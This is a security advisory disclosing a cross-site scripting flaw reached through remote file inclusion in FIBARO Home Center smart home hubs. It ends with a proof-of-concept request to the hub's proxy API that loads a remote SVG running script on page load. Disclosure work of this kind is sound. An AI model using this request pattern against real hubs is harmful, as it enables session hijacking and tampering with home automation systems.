FIBARO System Home Center v5.021 Remote File Include XSS Vendor: FIBAR GROUP S.A. Product web page: https://www.fibaro.com Affected version: Home Center 3, Home Center 2, Home Center Lite 5.021.38 4.580 4.570 4.540 4.530 4.510 4.180 Summary: Imagine that you live in a house where everything happens by itself. FIBARO Smart Home takes care of your everyday comfort and safety of all family members and in the meantime, saves energy on every single occasion. All this is possible thanks to Home Center 2 smart home HUB. Home Center 2 is an indispensable part of the FIBARO System without which the rest devices of home automation would be only beautiful objects. The smart home HUB collects and analyzes information about devices, communicates them with each other and thus directs the operation of the entire system and takes care of its security. Desc: The smart home solution is vulnerable to a remote Cross-Site Scripting triggered via a Remote File Inclusion issue by including arbitrary client-side dynamic scripts (JavaScript, VBScript) due to the undocumented proxy API and its url GET parameter. This allows hijacking the current session of the user or changing the look of the page by changing the HTML. Tested on: Apache/2.2.16 (Debian) nginx/1.9.5 nginx/1.8.0 lighttpd/1.4.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5563 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5563.php 04.02.2020 -- http://10.0.0.2:8880/api/proxy?url=https://www.zeroscience.mk/pentest/XSS.svg $ cat /pentest/XSS.svg <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
